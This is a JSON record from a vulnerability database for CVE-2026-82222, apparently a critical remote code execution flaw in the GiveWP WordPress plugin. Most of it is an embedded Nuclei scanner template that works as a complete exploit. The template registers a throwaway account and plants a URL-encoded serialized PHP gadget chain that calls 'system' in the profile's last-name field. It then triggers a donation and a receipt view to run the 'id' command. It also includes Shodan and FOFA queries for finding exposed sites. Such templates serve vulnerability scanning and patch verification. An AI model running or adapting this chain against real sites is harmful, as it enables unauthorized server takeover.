{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-82222/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-82222/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-82222/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-82222/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-82222/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-82222"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-82222"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-82222.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-82222\n\ninfo:\n  name: GiveWP <= 4.16.7.1 - Remote Code Execution\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    GiveWP <= 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input\n  impact: |\n    Attackers can perform object injection leading to potential code execution or application logic manipulation.\n  remediation: |\n    Update to the latest version beyond 4.16.7.1.\n  reference:\n    - https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/\n    - https://www.cve.org/CVERecord?id=CVE-2026-82222\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-82222\n    epss-score: 0.0225\n    epss-percentile: 0.82969\n    cwe-id: CWE-502\n  metadata:\n    max-request: 7\n    verified: true\n    vendor: givewp\n    product: givewp\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/give/\"\n    fofa-query: body=\"/wp-content/plugins/give/\"\n  tags: cve,cve2026,wordpress,wp-plugin,givewp,rce,deserialization,intrusive,vkev\n\nvariables:\n  cmd: \"id\"\n  cmd_len: \"{{len(cmd)}}\"\n\nflow: |\n  var chars = \"acfhjnprx\";\n  var u = \"give\";\n  var e = \"give\";\n  var p = \"P0c\";\n  for (var i = 0; i < 8; i++) u += chars.charAt(Math.floor(Math.random() * chars.length));\n  for (var i = 0; i < 8; i++) e += chars.charAt(Math.floor(Math.random() * chars.length));\n  for (var i = 0; i < 6; i++) p += chars.charAt(Math.floor(Math.random() * chars.length));\n  e += \"@example.com\";\n  p += \"Aa1!\";\n  set(\"username\", u);\n  set(\"email\", e);\n  set(\"password\", p);\n  http(1);\n  if (!template[\"form_id\"]) set(\"form_id\", \"1\");\n  if (http(2)) {\n    http(3);\n    if (http(4)) {\n      http(5);\n      if (!template[\"form_nonce\"]) set(\"form_nonce\", \"no-hash\");\n      http(6);\n      http(7);\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wp/v2/give_forms HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_id\n        part: body\n        group: 1\n        regex:\n          - '\"id\"\\s*:\\s*(\\d+)'\n        internal: true\n\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        give_action=user_register&give_register_submit=1&give_user_login={{username}}&give_user_email={{email}}&give_user_pass={{password}}&give_user_pass2={{password}}&give_redirect={{RootURL}}/\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/profile.php HTTP/1.1\n        Host: {{Hostname}}\n\n    cookie-reuse: true\n    redirects: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"profile.php\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: profile_nonce\n        part: body\n        group: 1\n        regex:\n          - 'name=\"_wpnonce\"[^>]+value=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: user_id\n        part: body\n        group: 1\n        regex:\n          - 'name=\"user_id\"[^>]+value=\"([0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/profile.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        _wpnonce={{profile_nonce}}&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id={{user_id}}&action=update&user_id={{user_id}}&first_name=Test&last_name=O%3A5%3A%22TCPDF%22%3A2%3A%7Bs%3A7%3A%22file_id%22%3Bs%3A1%3A%22x%22%3Bs%3A9%3A%22imagekeys%22%3BO%3A61%3A%22Give%5C%5C%5C%5CVendors%5C%5C%5C%5CSymfony%5C%5C%5C%5CComponent%5C%5C%5C%5CHttpFoundation%5C%5C%5C%5CSession%5C%5C%5C%5CSession%22%3A2%3A%7Bs%3A7%3A%22storage%22%3BO%3A36%3A%22Give%5C%5C%5C%5CTestData%5C%5C%5C%5CFactories%5C%5C%5C%5CDonorFactory%22%3A1%3A%7Bs%3A15%3A%22loadedProviders%22%3Ba%3A1%3A%7Bs%3A6%3A%22getBag%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A13%3A%22attributeName%22%3Bs%3A{{cmd_len}}%3A%22{{url_encode(cmd)}}%22%3B%7D%7D&nickname={{username}}&display_name={{username}}&email={{email}}&url=&description=&pass1=&pass2=&user_login={{username}}\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=give_donation_form_nonce&give_form_id={{form_id}}\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_nonce\n        part: body\n        group: 1\n        regex:\n          - '\"data\"\\s*:\\s*\"([a-f0-9]{8,12})\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=give_process_donation&give-form-id={{form_id}}&give-form-hash={{form_nonce}}&give-amount=25.00&give-gateway=manual&give-price-id=0&give_first=Test&give_email={{email}}&give-form-title=PoC&give-current-url={{RootURL}}/\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302 || status_code == 500'\n        internal: true\n\n  - raw:\n      - |\n        GET /?give_action=view_receipt HTTP/1.1\n        Host: {{Hostname}}\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 500'\n          - 'regex(\"uid=\\\\d+\\\\([^\\\\)]+\\\\)\\\\s+gid=\\\\d+\\\\([^\\\\)]+\\\\)\", body)'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: rce_output\n        group: 0\n        regex:\n          - 'uid=\\d+\\([^\\)]+\\)\\s+gid=\\d+\\([^\\)]+\\)'\n# digest: 4b0a00483046022100c1b11ece58977278b0d1f71b9c8627575793df091a0e668017e37e31a9418bc4022100c7293677120e973cb29121065e333d886694c9007f0aac5da8fcbecf560b3235:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-82222"
}